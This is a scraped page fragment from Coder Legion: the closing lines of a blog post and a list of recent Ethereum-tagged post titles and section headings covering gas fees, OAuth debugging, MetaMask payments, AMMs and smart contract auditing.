
Conclusion

Hope you learnt something from this post.
If you have any questions or feel stuck or just want to say Hi, call me anytime!

Thanks

Coder Legion - Recent posts tagged ethereum

Understanding Gas on the Blockchain: A Practical Guide Using Real Transactions

Separating the Five Core Concepts

Under the Hood: How Does the Blockchain Count Gas?

Case Study One: Calling increment() on Monad Testnet

Case Study Two: Inspecting a Transaction on Ethereum Sepolia Testnet

How Do You Know What Gas Limit to Set?

Understanding Gas Price and Gwei

Decoding EIP-1559: Base Fee, Priority Fee, and Max Fee

Why Do Transactions Need a Gas Limit? (And Why Gas Costs Change)

Comparing the Two Receipts: Are Fees on Monad Expensive?

Common Misunderstandings About Gas (Quick Checklist)

How to Explain Gas to Someone Else

Let's Figure Out the Rest Together

From Broken Google OAuth to a Stable Sepolia E2E Environment: Engineering MyZubster on a VPS

From Broken Google OAuth to a Stable Sepolia E2E Environment: Engineering MyZubster on a VPS

1. The Starting Point

2. Debugging Google OAuth

3. Validating the Runtime Environment

4. Google OAuth Successfully Completed

5. Fixing the OAuth Redirect

6. Testing the Complete OAuth Path

7. Removing Temporary Debug Instrumentation

8. Stabilizing Urban Lab / I-ECO-01

9. Stopping a Multi-Million-Restart PM2 Loop

10. Current VPS Architecture

11. Git Hygiene

12. Security Considerations

13. What Is Working Now

14. What Still Needs to Be Done

Authentication hardening

Deployment reproducibility

Monitoring

Secret management

CI/CD

15. Where We Want to Go

16. Engineering Lessons

Inspect the real provider response

.env is not necessarily the runtime environment

online does not necessarily mean healthy

Debug instrumentation should be temporary

Infrastructure fixes should end in Git

Conclusion

Building a Real MetaMask + Ethereum Sepolia Payment Flow for MyZubster

Building MetaMask Wallet Ownership Verification in MyZubster

ERC20 Edge Cases Every Smart Contract Engineer Should Know

How AMMs Work: The Simple Math Behind Decentralized Trading

Before the Swaps: A Map of Uniswap V2

Two repos, one protocol

What's actually in each repo

The helpers that don't live in either repo

The call flow in one line

Infrastructure Is the Real Product: How Ktzchen Web3 Avoids Bottlenecks by Design

I Automated 90% of The Ethers.js v5 v6 Migration using Codemods and AI

Why ethers v5 → v6 is painful

My approach: codemods + AI

The 8 transforms I built

Does it actually work on real code?

What the AI handles

How to use it right now

Conclusion

x * y = k, and Other Things I Should've Learned Sooner

The thing that I kept pushing to "later"

How does it actually work?

Whose tokens are in there, and why

What actually happens to the price when you trade

Uniswap didn't invent AMMs but it defined the template

The four things you can actually do

How To Audit A Smart Contract

Step 1: Trace Trust Boundaries

Step 2: What the repo shows

Step 3: Simple audit flow

Takeaway

SpacetimeDB and Reducers: Architecture and Patterns

Tables and Schema

Reducer Semantics

Deterministic Design and Side-Effect Management

Testing Reducers

Example Patterns

Observability

Case Study One: Calling `increment()` on Monad Testnet

`.env` is not necessarily the runtime environment

`online` does not necessarily mean healthy